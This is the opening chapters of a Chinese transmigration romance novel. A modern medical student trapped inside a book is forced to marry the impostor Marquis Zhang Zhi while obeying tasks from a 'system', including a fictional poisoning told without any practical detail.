《被迫嫁给小叔后》
1. 赐婚相遇 闹剧开场
是夜,大雨。
脖颈上的匕首传来一股森然的寒意。
谢蕴闭紧双眼听到耳边的对话。
“是她吗?”
“周公的消息不会错。”
“带走。”
谢蕴早有准备,朝里卧一滚,顺手拽住药箱的绳子,右手举过头顶打招呼:“告辞!”
床板下陷,谢蕴也随着床板掉进密道后滚出去,丝毫没有留意那两个杀手脸上的表情。
正当她以为脱离危险时,一群黑衣人围上来,为首的那人,长剑抵在她的咽喉:“锦衣卫办事,何时失手?”
谢蕴只好叹气束手就擒,又不死心的问:“谁让你们来的?”
身为女子,她这些年为不少人看病问诊,阻挡那些所谓的大丈夫赚钱,他们买凶杀人的事情也不是做不出来。
为首那人冷冰冰:“别问,自然会有人来告诉你。”
“为保安全,得罪了。”
谢蕴只觉后脖一疼,随即晕了过去。
再醒来时,谢蕴下意识摸摸自己的后背,心里猛然一惊,随身携带的药箱如何不在了?
她凭着直觉吸了吸鼻子,是一股极好闻药香。
此药含肉桂、柴胡,在冬季与雨季饮,能引火归元、疏干解郁。
帷幔低低垂下来,薄纱混着烛光摇曳,胜在蜡烛多,不至于昏暗不明。
谢蕴的目光再次移回地毯,她有些不可思议地揉了揉眼睛,确定自己没有看错。
五爪金龙!
她神色震惊的抬头,上座一位约莫五十岁的老人,身着金服,手持毛笔,低头正在看什么东西。
旁边的太监尖着嗓子呵斥:“大胆!陛上岂是你等贱民可以直视的!”
陛下?那这里岂不是皇宫?
她不敢抬眼,更是一头雾水,暗自思付难道是哪次出诊得罪了天家?
约莫过了两盏茶的功夫,上座那人缓缓开口:“孤听说,你是一位女大夫,且极善针灸?”
这声音听起来并没有什么敌意,倒是很符合这个年纪的人。
即便如此,谢蕴仍然不敢掉以轻心,谨慎回话:“回皇上的话,民女不敢以大夫自称,只不过学了些手艺,混口饭吃。”
他似乎很满意她的态度,放下毛笔:“别怕,孩子,孤找你来,是为了一桩旧日的姻缘。”
谢蕴摸不着头脑,壮着胆子问:“不知陛下说的姻缘是什么意思?”
太监会意,在一旁补充:“谢家父母在日时,曾与张家定下一桩姻亲,谢家如今虽然没落,不比往日光景,但陛下的意思是,嫌贫爱富之举要不得。”
“你说可好?”皇上微笑询问。
谢蕴想拒绝,但她在长剑抵住咽喉时已经领略过了,现如今当着皇上,她更没有这个胆子。
“我的夫君是谁?”
“镇北侯,张止。”
谢蕴浑身一惊,鸡皮疙瘩都起来了。
这个人,她是知道的。
冷面阎罗,张止。
民间传闻张止二字可止小儿夜啼。
“好好休息一晚上,明日孤便为你赐婚。”
谢蕴躺在床上,左右琢磨这门亲事实在不是良配。
是清醒是梦里?
谢蕴看见自己去庙里求签,庙里的老道士拿着她的签古怪的说:“奇怪,你这个姻缘签上说的是好像是一个死人?”
“死人?”她不解。
“也不像,像一个不存在的人。”
谢蕴不知道这签作何解释。
“宿主。”
哪来的声音?
“宿主。”
谁在说话?
谢蕴愣了一会终于明白这个声音从哪里传来的。
是她自己的脑海里。
“宿主,您好。恭喜你成为网文《前世今生不死情缘》的玩家,为了让您有更深层次的体验,所以在您穿书来时,系统自动封锁您在21世纪的记忆。”
21世纪?谢蕴迷茫。
“介于你已经触发主线剧情,系统将为您解锁记忆。”
话音刚落,谢蕴眼前仿佛跑马灯似的,回忆缤纷踏至。出生,上学,工作,这一系列的事情简直开了八倍速一样。
等这些事情全部从眼前而过,她第一个想法就是:“我要回去!”
穿书这种事怎么会发生在她身上?一个虚拟的世界怎么会困住她一个活生生的人类。
此时此刻,她正应该跟着老师在医院里问诊,怎么会在这里。
“宿主,完成任务即可回到现实世界。”
“什么任务?”
“帮张止实现他的梦想,逆转结局。”
谢蕴骂人的话就在嘴边,意思我的出现就是帮助他?那我出现的意义是什么?npc?
“他的梦想是什么?”
别人穿书都是女帝,她可倒好,穿来了成事业批了,还是一个辅助岗位。
“这需要宿主自行探索。”
“宿主请记住,书中的世界与现实的世界无异,珍惜生命,请勿受伤。”
“怎么才算完成任务呢?人的梦想是多样性的。”就像她每个时期的梦想都是不一样的。
“系统有专门的评价标准,当进度缓慢或着迟迟没有前进时,我会进行催促。”
谢蕴接受这件事只花了一秒钟,她只能安慰自己,凡事发生皆有利于我,既来之则安之。
“当你有危险的时候系统就会出现,宿主,请好好完成任务,会有不定时的福利降临。”
“再见。”
谢蕴的话还没有问完,系统已经匆匆下线。
《前世今生不死情缘》,这本书她有映像。她学业压力大,失眠严重,常常听着小说入睡。
那天,被这狗血的名字吸引才点进去。
张止?
谢蕴努力的回想,书中介绍张止是名门之后,家中独子,可自幼身体不好,哪个算命的说,怕是活不过十岁,若是能换个环境,或许能够躲过。
自那以后,张家举家就搬到边境,又过了十年,张止战场立功,从此平步青云。
后又让奸人陷害,含恨而死。
谢蕴吐槽,果然狗血。早八十年代的书都不这么写了。
这一夜谢蕴没有睡好,她顶着两个黑眼圈出现时,宫女眼里同情更甚。
按照皇帝的指示,她藏在一架美人戏猫屏风后,等张止同意赐婚后,便出来相见谢恩。
“镇北侯到!”
禀报声一重重越过宫门。
小说里对这男主的形容可谓十分非常的帅气,不惜用所有美好的词藻。
什么清朗俊逸,什么不落凡人之姿,天人之颜,简直就是把张止形容的像神仙一般。
谢蕴探出屏风,看看此人是否如书中描述的那样,可眼睛还未露出来,便被
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丫鬟拉回来,神情凝重:“谢小姐,不可!男女大防!”
谢蕴又龟缩回屏风之后,透过屏风,只能看见一抹身影,挺拔、飘逸,如山月之资,从小猫走到美人的位置,最后重叠。
“臣,镇北侯张止叩见陛下。”他声音不大,嗓音清冽的如同空谷幽涧飘到金龙殿的每一个角落。
明月松间照,清泉石上流。
谢蕴不自觉就想起小时学的诗句,形容这抹身影恰如其分。
皇上不似昨晚的威严,反而有几分亲近,走下台阶,虚虚地扶了他一把:“快起来,孤与你在外看是君臣,在内却是亲戚。私下,你应该唤孤一声姐夫。”
书里是提到过,张止有个堂姐早年入宫。但这是npc中的npc,谢蕴自是想不起来。
“今日,召你来,为了一桩旧事,也是一桩喜事。”皇上笑着说:“你啊,也将近而立之年了吧。”
敢打断皇帝说话的人,在哪个时代都不多见:“禀皇上,臣还未打算娶妻。”
谢蕴黑线,拒绝的太快了。
皇帝没有被他的拒绝打扰,反倒专心致志的往下说:“这是你父母定下的旧约。那女子年方二八,正是芳龄。”
脑海里又滴滴响起声音:“宿主,按照主线任务,今日您必须和张止回府。此为新手教程,若失败,即永远回不去现实世界。”
大哥,你这任务也太细化了吧!
张止再一次不卑不亢拒绝:“臣已将近而立之年,逾那女子十岁,何苦耽误她的光阴?”
“况且臣早年在外养病,遇见一女子,真心相待。虽最后不能结为夫妻,但也曾许诺,此生绝不相负。陛下,臣虽算不上尾声抱柱之流,可不能出尔反尔。”
皇帝哈哈一笑,摆摆手并不在意他说的这些:“男子三妻四妾算不了什么,何况你已经贵为侯爵,难道只守着一个女子过吗?如今她家道中落,你若不收留,她一个弱女子,你要她如何?”
张止停顿了一下像是思考,继而掷地有声的回答:“我可以做她的兄长,她的家人,给她寻一户好人家,以后我会是她的靠山,全天下,但凡她想嫁谁,我不会阻拦。有人欺负她,我定会为她撑腰,这样…”
谢蕴听不下去了,再这么说下去,他还是这个态度,任务完成不了,她怎么回去?于是一脚踹开屏风,义正言辞表达心意:“不必了,张大人,我今生非你不嫁!”
的确面容姣好,剑眉星目,眉似山川,眼如朗星,眼尾微微上挑,只看向谢蕴的目光隐藏一丝考究,像是疑惑。
“我叫谢蕴,是要嫁你的人。”她自以为这样的介绍,会眼前一亮。
果然,张止眼里的疑惑消失,取而代之的一种嘲笑,他先是看了看倒下的屏风,又上下打量了谢蕴说道:“陛下,这样的人也配进张家?待臣百年以后要与臣共葬一墓吗?”
张止只当这件事是笑话,弯腰行礼:“臣心口疼,怕是不能再看这场闹剧了。”
男主角走了。
谢蕴更加不知所错。
反套路?这种狗血剧情里不都对这样的女子一见钟情吗?
“无能!”
太监心领神会,咳嗽一声,立马有两名侍卫押着她,拖着她出金龙殿,谢蕴惊慌失措:“去…去哪儿?干什么?”
“不是赐婚吗?”
…
上位者缓缓道:“既然他不肯留你,那你就没有用了。”
2. 所嫁非人 替身来凑
她下意识的呼救,只可惜在这皇权当道的社会,没有人会在乎一个小女子的死活。
那两名侍卫架着谢蕴,直至到了一座府邸,一把将她扔下。
谢蕴吃痛不已,抬头看去,两尊石狮立在台阶下,台阶上朱漆大门紧闭,匾额上赫然四个大字:镇北侯府。
“打!”为首的下令。
她还未来得及挣扎,已被那两人按到。
随着板子的落下,后背上传来的一阵疼痛。
“啊!”谢蕴强忍的疼痛问那人:“为什么?”
为什么打我?为什么在这打我?
侍卫笑了:“谢小姐,皇上的原话,若是不知道这缘故,那不仅仅是无能,更是愚蠢。”
数不清受了多少下,谢蕴只感觉身上已经湿透了,是汗是血?她已然分不清。
恍然间,谢蕴怀疑自己都死了。
“我要见张止。”
侍卫示意停下派人通报,在这间隙,谢蕴大口大口的呼吸,身上的疼痛刺激着大脑,令她的意志开始模糊。
“今天唱的什么戏?老七,把人拉到大街上来打。”低沉的声音响起,人群自动为他分出一条路:“瞧瞧,这多人看着,也不怕打扰张大人的清净。”
侍卫将双手举过头顶:“上令。”
来人低头,围谢蕴身边转了两圈,像是在欣赏伤口,宽慰:“别怕,张大人向来心软,断不会见死不救。”
可笑!
“杨兄不用顾及张某的名声,天下谁人不知我心狠手辣。”张止双手负在身后,大步流星的走来,说起这些像是在谈及无关紧要的事情,身上的玄金袍流光溢彩,晃得谢蕴睁不开眼睛。
杨励低头把玩着手中的扇子:“对待其他人自然心狠手辣,未婚妻不必如此。”
张止瞥了一眼趴在地下的谢蕴,没有接他的话,反而看向老七,质问:“急匆匆的让人叫我出来,不会是让我欣赏你们锦衣卫的手段吧?”
老七换了一副嘴脸,颇有几分讨好的神采:“谢小姐说要见您。”
张止原本可以一走了之,可看着她的样子,后背上血肉模糊,一片红色,终是于心不忍:“谢小姐,我并非良人,从前的姻缘就此作罢,我在金龙殿上说的话,依旧作数。”
他抬脚欲走,谢蕴知道这是自己最后的机会了,再不抓住,就要永远留在这里。按照这变态皇上的心里,迟早要把她活活打死。
张止只觉有力量束缚自己,很难不好奇。回头看去,满身是血的女子拽住他的衣角,哑着嗓子道:“别走,我有话和你说。”
那女子浑身颤抖,眼神坚毅,嘴唇微启,像是在说什么。
张止听不清,微微欠身。
谢蕴猛然间抬臂,一把纠住张止的衣领,他没有防备,一下被拽至她面前,近乎于脸贴着脸的距离。
他很厌烦的扭头,这些举动消耗着他最后的耐心:“你到底要说什么?”
“我知道,你不是他。”她不是刻意压低声音,是嗓子里地鲜血让她张不开嘴。
谢蕴这几个字用尽了力气,顷刻就要倒下去,张止下意识的扶住她的肩膀,神色不变:“你说什么?”
“你不是他。”
谢蕴重复了一遍,她知道这是自己能进镇北侯府唯一的办法。
她看着那张脸从厌烦到不可置信又转为镇定自若,但也只是瞬间,最后眼前一黑。
谢蕴倒下去了。
张止缓缓起身,声色冷淡:“景和,把人带回去交给芝落。”
杨励笑了,意有所指:“老七,你回去好交差了,张大人已经同意这门婚事了。”
张止不为所动,看着杨励嘲讽道:“杨大人也可以回去交差了。”
皇上登基数载,如今已到了国本之期。
太后有意让皇上把皇位传给自己的小儿子,皇上自是不愿,他膝下唯有一子,只是天生孱弱多病,能否活到成年,都需看天意。
杨励早已站队太后,朝中重臣也选好了派系。
除了张止。
他这样的中间系派,成了两派人拉拢和忌惮的对象。
杨励并不隐藏,手中的扇子拍着掌心:“太后与陛下母子一心,对张大人的关心自是一体。”
“近日事务繁多,张大人设宴办酒时,记得送一份请帖给杨某。告辞。”
见此情况,老七也俯身行礼:“张大人,既然人已经送到,我等也回宫复命了。”
谢蕴好像做了一个梦,光怪陆离。
她在梦中提醒自己,醒来就会好的。
可醒来以后,背后的疼痛让她一瞬间就彻底明白自己在何处,她忍不住“嘶”了一声,心里暗骂皇上实在不当人。
她扫视这个屋子,海棠花纹路窗虚掩,双层帐幔随风轻摇,窗台上立了一甜白釉的瓷器,斜插两枝木棉。
“你醒了。”
谢蕴望向声音响起的方向,竟是一女子,约莫十八九的大小,穿着鹅黄色的衣裙,杏眼含笑。
“你是谁?”谢蕴一出声,喉咙发干,止不住的开始咳嗽。
那女子赶紧倒了一杯水给她,却没有正面回答这个问题:“你明知道他不愿意娶你,还要进这镇北侯府做什么?”
谢蕴很谨慎,又重复着问:“你到底是谁?”
“我叫芝落,算是这里的管家,你身上无事,我找人替你医治过了,不过让人看的触目惊心而已,不会留下疤痕,不出几日就会好的。”
谢蕴想起来了,芝落是张止早年很中意的人,说是挚爱也不为过,年少时为张止挡过一剑,自此不能生育,按照家族的规矩,无法成为张家主母。
她书看的不全,只记得大概走向,并不知道其中细节如何。
“他要娶的人是你?”谢蕴往后缩了缩,一个女人的爱意足以让她杀死的别人,她居然能够救下自己,实在难以相信。
“是啊。”芝落顺着谢蕴的话往下说,带着几分调皮:“你要来抢的是我的位置呢。”
谢蕴一个头两个大,她居然要做自己最鄙视的小三!芝落堪称貌美如花,和张止很相配!自己算个什么东西竟然来拆散人家?
谢蕴结巴的为自己解释,一出口竟然是标准的渣男的语录:“这个事情不是你想的那样。我也有我的苦衷。”
她要怎么说呢?是皇上逼她来还是系统给的不得不完成的任务?
芝落笑了,眉眼弯弯:“你不用说,我明白的。”
“同为女子,我知道你不易。何况,雷霆雨露,均是天恩。”芝落收起了笑容:“我刚刚是吓唬你的,这府里难得来一个女子,好不容易可以说几句话。”
“落落。”张止从门外进来,看着芝落语气温柔:“父亲游玩时为你买了些小玩意,已经送到你房间了,你看看喜欢不喜欢。”
“好。”芝落知道张止有意让支开自己,临走时还朝谢蕴眨了眨眼。
待芝落走后,张止像是大型猫科动物狩猎般,随手拉来一把椅子,放在正中,架起腿,笑着赞赏:“谢小姐身体不错,挨心这么多下都没事,要在军中,想必用不了多久,便是女将军了。”
不似初见风月之姿,平添几分沙场征战之气。
谢蕴不知他的何意,更不敢随意出声,抓紧被子警惕的看着他。
可面对张止的目光,谢蕴又明白当初既然说出他的秘密,如今就要承受他的审问:“张大人,你有什么想问的便问吧。”
须臾,张止换了姿势,手撑在膝盖上,不疾不徐:“这话说的古怪,我没有什么想问,难不成,谢小姐有事相瞒?”
谢蕴不吭声,情不自禁咽了咽口水,迎着他的目光,勇敢地回视。
笑话,难道我一个人二十一世纪的人类,还会怕你一个书里的角色吗?
“也罢,既入了侯府,我也有几件事要提点你。”
“什么事?”
“第一是张某偶然间想起,上一个在我府中做细作的人,被乱棍打死后被扔到江中喂鱼,死相难看。听说这件事能止小儿啼哭,也算功德一件。”
谢蕴眼睛不由自主的瞪大,张止笑了,很满意她的这种反应:“第二,你我幼时虽有婚约,可我如今心有所属,只有我认定的妻子才是我的妻子,名分位置从不是局限。”
“第三…
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”
“第三,我要嫁的人是张止,而不是张正。”谢蕴打断他的话,要死就死的痛快一点:“我也并不是要嫁你,是为辅佐你。”
她颇一种豁出去的架势,这样温水煮青蛙的死法太煎熬。
张止如同沉水的面容终于有了一丝浮动,眼里闪过一丝阴郁,仍然胸有成竹的反问:“张正是谁?”
“张家家主张止有先天之疾,用尽了办法也活不到成年。可张家这辈只有张止一人,万般无奈之后居然发现侍卫中有一人长得与张止八分相像,从此以后这个叫张正的侍卫便成了张止,为了避免被人发现,张家举家搬迁至边境,至此,张正变成张止。”
两人对视片刻,后者的脸上浮起一起笑容,饶有兴趣的凝视着她,试探性的盘问:“谁告诉你这些?”
“这你不必知道。”谢蕴心说,大意了,光顾着要和他谈判,忘了这些事的来源该怎么解释。
张止埋头理了理衣袖,抬眸时手里突然多了一把匕首,在谢蕴震惊之余捅入她的心口。
谢蕴只感觉到胸前一疼,愣愣的低头看去,白色的里衣上满是鲜红的血液。
她再次抬头,张止阴冷的笑了,匕首又往深捅了几分:“第三,死人永远比活人更能保守秘密。下辈子投个好胎,离我远点。”
语毕,张止手上微微用力一推,谢蕴便直直的倒在床上。
“宿主,宿主。”
谢蕴脑袋里传来系统冷冰冰的声音:“介于你完成第一项任务,已获得新手大礼包,复活卷三张。是否使用?”
“当然使用!”谢蕴欣喜若狂,如获至宝。
“好的,请问宿主是选择回到事件之前还是发生事件之时?”
“之前!”
“好的。系统提示,临近的两次的选择不能相同。如果这次选择了回到事件之前,那么下次使用复活卷,只能选择回到事件之后。”
“知道了。”
谢蕴一睁眼,张止正坐在床前,说着刚刚还未说完的话:“第三,我不喜欢多话和自作聪明的人。”
嗯?确定不是在影射我?他是不是也有系统?不得不说,死之前的自己的确是多话和自作聪明。
“明白了?”张止挑眉,眼里看不出什么情绪。
谢蕴抱住被子点头:“张大人,你放心。”
“十日后你我大婚,陛下的意思是从皇宫出嫁。”
谢蕴摸清他的人设是傲娇年上腹黑大猫咪,按照她多年养猫的经验,显然此刻已经知道如何应对。
谢蕴再三保证:“张大人,放心,我绝对不会多生事端。”
张止颇为意外,不再说话,锐利如刀的目光紧紧的盯着她。
“张大人,还有什么事吗?”谢蕴被他看的发毛,只怪自己在进府时脱口而出那句“你不是他”,如今无法解释,更无法坦白。
“无事。”张止垂了眼皮:“你好好休息。张夫人不是那么好当的,望你早做准备。”
景和看见张止出来,快步迎上去:“现在要解决她吗?”
张止目视前方,沉默了很长时间才缓缓摇头:“陛下信奉先成家后立业,兵权必须在我大婚后才交到我手上。现在阴差阳错的成婚也好。她没有背景,相对来说没有那么棘手。”
“可她是陛下的眼线。”景和不放心:“留她在府上…”
“这个世界多的是让人悄无声息消失的法子。”张止随手将袖子里的匕首扔到一边,面无表情:“不急在这一刻。”
***
“宿主,系统发布第二个任务,在张止饭菜里下毒。”
谢蕴怀疑系统出了bug:“为什么?杀了他我不也活不下去了?”
这也叫任务吗?
对于她的问题,系统只有冷冰冰的一句话:“请宿主尽快完成任务。”
“宿主,因为您的到来导致故事线有了新的发展,所以会有小小的变动。毒药在你左手中,请宿主在大婚前完成任务。”
她打开毒药看了半天,放在鼻子下嗅了嗅,抱有一丝侥幸的心理呼唤系统:“这不会是鹤顶红吧?”
“是的。”
3. 忽生忽死 强势护妻
眼看日子越来越近,系统开始滴滴催促完成任务,谢蕴免不了心烦意乱。
“芝落姐姐,外面怎么闹轰轰的?”她探头探脑的往外看,本就心烦,外面的吵闹让她更加头疼。
“杨励和杨公递了拜帖,晚上要来府中商议要事,我刚吩咐厨房做饭,这会他们自然手忙脚乱,我得去盯着点。”
谢蕴忙问:“张大人也会去作陪吗?”
“当然。”
不会有比这更好的时机了,人多杂乱,菜式花样多,就算出了点差错,也很难纠到个人头上。
这是她这段时间第一次出门,厨房在侯府的东南角,穿过两边的抄手游廊,经过一片药圃,踩着六棱石子路走到尽头,便是到了。
正值黄昏,大家都去前厅上菜,她蹑手蹑脚走进厨房,慌忙的从袖子里掏出一个小瓷瓶,随手找了一盘菜,洒到其中。
她掌握着用量,这点鹤顶红不至于要命。
谢蕴有足够的信心,按照她的医术,服食过后定能挽救回来。
见四下无人,她处理好一切才放心离开。
“你在这里干什么?站在风口,不怕加重伤势吗?”一道冷冽冰霜的声音从背后传来。
谢蕴瞬间头皮发麻,转头看见张止双手环在胸前,手指轻叩,正居高临下的盯着她。
“我饿了,来吃点东西。”她吓的一激灵,满嘴胡说。
张止哦了一声,尾声拖长,微微颔首,虽是不相信,却示意她继续往下说,如同隔岸观火。
“不可以吗?”越是心虚的时候,越要理直气壮,连带声音也不受控制的拔高。
“当然可以。”张止漫不经心的话语在不经意间戳中她的心思:“只是张某素来胆小,更比别人多长几个心眼,生怕有人在我的饭菜里下毒。”
谢蕴做贼心虚,后背一凉,心里盘算张止是不是躲在哪个角落里看见了那一幕。
“谢小姐肯定不会这样做的,是不是?”张止踱步逼近,眼似深潭让人不敢对视,慌张之中,谢蕴忐忑不安盯着他腰间的鸳鸯佩,慌不择言地回答:“我…我肯定不会。”
谢蕴感觉后背贴到柱子,张止的脚步还没有停下,她抬手伸直胳膊,撑起一臂距离:“男女大防!请自重!”
张止嗤笑,轻蔑道:“金龙殿上谢小姐的举动,我还以为你不在意虚礼。”
“不是非我不嫁吗?怎么表里不一?可见女子心里难测。”
恰好景和来回话:“大人,杨公与杨大人已经到了。”
张止又向前欺近几步,掌侧贴着她的小臂,将她的手臂别下去,眼神直勾勾的审视着谢蕴,嘴里却吩咐景和:“先带他们去花厅,我即刻就到。”
“是。”
他依旧审视着她,谢蕴颇为无助,向外挪了挪:“张大人,既然你还有客人,我就先走了。”
张止却没有打算放过她,随着谢蕴的身形向左迈步,高大的身影遮住了夕阳的余晖,谢蕴迎面而望,只看见他上下滚动的喉结:“明日会有人接你入宫,后日成亲,希望你不要节外生枝。”
直到张止离去,她才稍松了一口气,只是心里不由打鼓:张止不会看到我下毒了吧?
不会不会,如果看见了,早就当场毙命了,怎么会就是几句威胁呢?
她又想起张止的样子,忍不住起了一身鸡皮疙瘩,可是那个时候,那个地点,如果没有看见,也不至于说些莫名其妙的话吧?
这世界上哪有莫名其妙的事情?
“不好了,不好了!”
听到叫喊,谢蕴小跑几步打开房门,外面早就哄乱不堪。她背起药箱,只要在一炷香的时间内施针,催吐,可保住性命,在加以调养,便能无碍。
“不好了,死了!死了!”
慌乱之中,谢蕴抓住一个人问:“你们在说什么?谁死了?”
她心中大奇,怎么可能呢?用量都是她精心算过的。
那人指着花厅的方向,语气惊恐:“谁知道呢!刚吃了口东西就死了!”
死了?死了!
谢蕴一时之间不敢相信,她一手扶着房门,顿时瘫软在地,隔着衣服碰到藏在胸口的瓶子时,一种巨大的悲伤瞬间包围了谢蕴,她错愕了半晌,不禁悲从中来,泪如雨下。
不为别人,只为自己。
张止死了,那么我出现在这本书中还有什么意义?
我为了实现他的梦想而来,他死了,我又该怎么办?
不怪别人,是我自己扼杀了回去的路。
什么破系统,目的就是让我留在这里!
“你哭什么?”芝落似乎比她更错愕,蹲下与她齐高,揉揉谢蕴的脑袋,语气温柔:“什么事值得你这样哭?”
谢蕴哭的上气不接下气,伸手抹了一把眼泪,哽咽道:“张止死了,我怎么办?我就要永远被困在这里了!”
她的一生不谈轰轰烈烈,竟然要被困在一本破书里!
芝落愣了一会,哑然失笑后又肃然起敬:“我原本以为你是陛下派过来的眼线,对阿止没有什么感情,没有想到你能为他大哭一场,是我们错看你了。”
她拿谢蕴当小妹妹,心中也想过若是以后危及到阿止的安全,自己绝不会手下留情。
现在看来是自己枉做小人了。
“现在说这些还有什么用?”谢蕴抽了抽鼻子,心中无比组丧,一想到回不去,她便难受的说不出话来:“他都死了。”
芝落双手扶住她的脸,面对面看着谢蕴,被她的样子逗笑了:“当然有用了,因为阿止没有死。”
谢蕴眨了眨眼,像是反应不过来,又像是不相信,怀疑道:“真的?”
“你自己看。“
谢蕴顺着芝落手指的方向看过去,那人正伫立长廊下,月白色的衣炔飞扬,神采奕奕。
她怔怔分辨了一会,确定这人正是张止才松了一口气,安慰自己:“真是万幸。”
“那谁死了?”
“杨公,杨公深受陛下倚仗,他死在侯府,阿止难辞其咎。”
说话间,张止已经走到他们面前,双手背在身后,目光如炬的看着谢蕴,笃定道:“是你。”
仅凭这一句话,张止便让谢蕴从悲伤转到心虚恐惧中。
谢蕴狡辩:“我不知道你说什么。”
芝落将谢蕴扶起来,责怪道:“阿止,不要无故怀疑别人。”
张止冷笑,一把拽起谢蕴的手腕:“我是不是无故怀疑,谢小姐最清楚。”
他手上微微用力,谢蕴疼成麻花状求饶:“你快放开!”
“阿止,什么事都要证据。”
“证据?”张止手上力度不减分毫,手背上青筋暴起,眸光凝重的审视着谢蕴,像已经看透她了:“今日若有丝毫偏差,现在死的就是我了。”
“不会是她。”芝落此刻已经坚定的站在谢蕴的这边:“凭她以为你死了
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,为你大哭一场,就不可能是她。”
张止这才注意到谢蕴肿成核桃的眼睛,心里有一丝松动,手上力度稍减,谢蕴立马挣开他的手掌躲到芝落的身后。
“好一场大戏!张大人!”景和拦在杨励前面,他隔着院子与张止对望:“这种下三滥的事情你也干得出来?”
“怎么?你说要给我一个交待,难不成就是在后院郎情妾意吗!”杨励双目通红,恶狠狠的看着张止:“此事必然上达天听,不管怎么样,你都要给我一个说法!”
张止缓了缓神色,不着痕迹的扫了一眼谢蕴,淡定开口:“杨大人,张某说话自然作数,杨公死在我府上,我向你保证,一定将凶手绳之以法,绝不轻饶!”
最后八个字的重音落到谢蕴耳里如同威胁。
绳之以法!绝不轻饶!
“冠冕堂皇地话谁不会说,凶手不就在你身后吗?”杨励扬起下巴:“我现在就将她绳之以法,料想张大人也会同意的。”
谢蕴大惊失色,张止不愿娶她是真的,她是眼线也是真的,此时把她交出去内忧外患都可解。
谁会拒绝!
她不受控制的看着张止,恰巧他也在回望自己。
谢蕴近乎乞求,嘴唇忍不住颤抖:“不要把我交出去。”
鹤顶红的瓶子还在胸口,此刻无疑是人赃俱获。
杨励快步走到谢蕴面前,一手抓住她的胳膊,一手将刀鞘抵在脖子上,她没有防备,被踉跄拖到台阶下,谢蕴站定后用力挣扎,却怎么挣扎都毫无效果。
芝落不服气,挺身而出:“杨大人,你未免不把侯府放在眼里。”
杨励并没有反驳,反倒是借着谢蕴挣扎的劲将她越拉越远。
张止一言不发,幽深目光落在她身上。她在心里深深地叹了一口气,顿时明白了张止的选择。
“杨大人…”她向前迈了一步,像是下了某种决心。
“杨兄,谢小姐是我未过门的妻子,什么时候成了杀人凶手?”张止打断她的话,从容的走到谢蕴的身边。
“张止,你是决心要袒护着她,将事情撑到底了?”
“杨兄,我爱护内子,实属正常,”他淡淡的笑着,拉起谢蕴另一手腕,顺势将她拽到身后,强势介入他们中间:“何况,目前也没有证据说我妻杀了你父。”
“证据迟早都会有的。你让我带走她,证据立马双手奉上。”
杨励不让步,从侯府下人慌张程度,张止愤然离席,与谢蕴的古怪对峙,要让他相信这件事无此女无关,绝不可能。
“那我便等着!等杨兄找到证据,再来登府问罪也不迟。”张止朗声说道:“我还是那句话,自会给周大人一个交待。”
“何况,我朝没有先拿人,后出证据的先例。”
“张某不日便要大婚,杨公尸身在此多有不便,剩下的事就劳烦杨兄了。”
杨励自知理亏,他没有直接的证据,只有一腔怀疑,眼下只能不情不愿:“好,望张大人不要食言。”
张止的坦然与笑脸在杨励离开后凝结,谢蕴打量着他的脸色,吞吞吐吐道:“谢谢…谢谢张大人。”
张止与刚才判若两人,冷冰冰命令她:“换衣服,进宫。”
“不是说明日进宫吗?”谢蕴小心翼翼地问。
张止没有搭理她的问题,只吩咐景和:“备车。”
谢蕴坐在马车上惴惴不安,不知张止意欲何为。
4. 宫门对峙 娶亲难测
如此诡异的气氛,谢蕴总觉得要说些什么。
“张大人,我一会见到皇上应该怎么说呢?我喊冤还是说什么?”
“你冤吗?”张止很平静。
“我冤啊!我简直比窦娥还冤!”一想起杨励那张脸,又看着眼前这个活阎王,谢蕴只觉得后背发凉,真是何德何能,两个人都被她得罪了。
“我亲眼看见你把鹤顶红放在胭脂鹅脯中。”不知何时,张止睁开眼睛,墨色的瞳仁倒映出对面女子惊慌失措的面容。
“我平日饮食极其克制,为数不多喜欢的菜肴便是这道。”
“那一瓶,可是十足十的鹤顶红啊。你大约是没想让我活的,话至此时,你还认为你冤吗?”
谢蕴双手放在膝上,不住的互掐,语无伦次想要狡辩,她想说自己就是医士,对用量的把握只在分毫之间,就算真的误食也能抢救回来,话至嘴边发现有什么狡辩的余地?那鹤顶红总归是自己下的。
“那你为什么不把我交出去?”
张止阖住双目,靠在车璧上:“原因自是多种多样。你无须知道。”
“大人,已经到了宫门了。贵妃娘娘身边的眉若姑姑来了,说来引谢小姐入宫,请谢小姐下车相见。”
张止嗯了一声,却纹丝不动。
谢蕴小心翼翼迈腿,张止感觉到了她的小动作,像是累极了,叹气:“我不知到底谁给你的命令,但你我即将大婚,不要在节外生枝,我未必能像今日这样护你周全。”
谢蕴打量那张宛如玉雕的面容,完全不能理解一个人为什么会如此割裂。
明知我下毒让他死,他还护着我,更要百般叮嘱。
“我已经很久未见长姐了,想来你是第一次见她,都说我们相像,你去看看。”
谢蕴带着命题作文的思路去拜见贵妃,还未行礼就被她拉起来:“都是一家人,不用行此虚礼。”
老实说,贵妃与现在的张止并不相像,大约与她相像是真正的张止。
贵妃絮絮叨叨说一堆,谢蕴只记住了两句话。
“阿止是个好孩子。”
“有你做张家主母,我很放心。”
谢蕴嘴角抽抽:“娘娘知不知道今日杨公死在了镇北侯府?”
“知道。杨励的奏折里写的很清楚。”贵妃义愤填膺:“他说是你做的。你放心!我和阿止绝对不会让人污蔑你!”
“阿止现在在金龙殿认失察之罪,七天之内必找出真凶。”
张止的操作谢蕴越来越看不懂了。
他明知真凶就在眼前,又做什么戏?
“你好好睡一觉,明日一早,阿止便来接亲了。”
谢蕴哪能睡得着,不知他们到底在玩什么把戏!
“最近府里还好吗,阿止身边没有什么可靠的人,有你们在,还能多长几个心眼子。”
谢蕴好笑:“娘娘多虑了,没有几个人心眼子比你弟弟还多。”
夜里谢谢蕴刚躺下,脑海里传出声音:“恭喜宿主完成第二个任务,此次任务奖励为全息投影。”
“系统,下次的奖励不要这么鸡肋好不好!”谢蕴控诉。
“宿主,第三项任务为在新婚当晚潜入张止书房中密室。”
谢蕴一头雾水,摊出双手:“然后呢?”
“潜入密室,任务就算成功。”
按照前两个任务的难度,这第三个任务会这么简单吗?
“系统提示,三项任务完成后,系统发布任务频率会降低,请宿主专心攻克主线任务。”
谢蕴百无聊赖的躺在床上,不知何时睡去。
第二日一早是被一群丫鬟叫醒的。
“这么一大早就叫我,”谢蕴打了一个大大的哈欠,看着忙里忙外的丫头们,她这个新娘子像是局外人:“也不至于吧。”
为首的丫鬟笑了,扶着她起身:“这都已经算晚了,张府昨日半夜就开始准备了。”
谢蕴并没有什么情绪,倒是贵妃娘娘无比开心。
“这枚鸳鸯配是一对,我曾将另一块送给阿止,这一块如今给你也算圆满。”
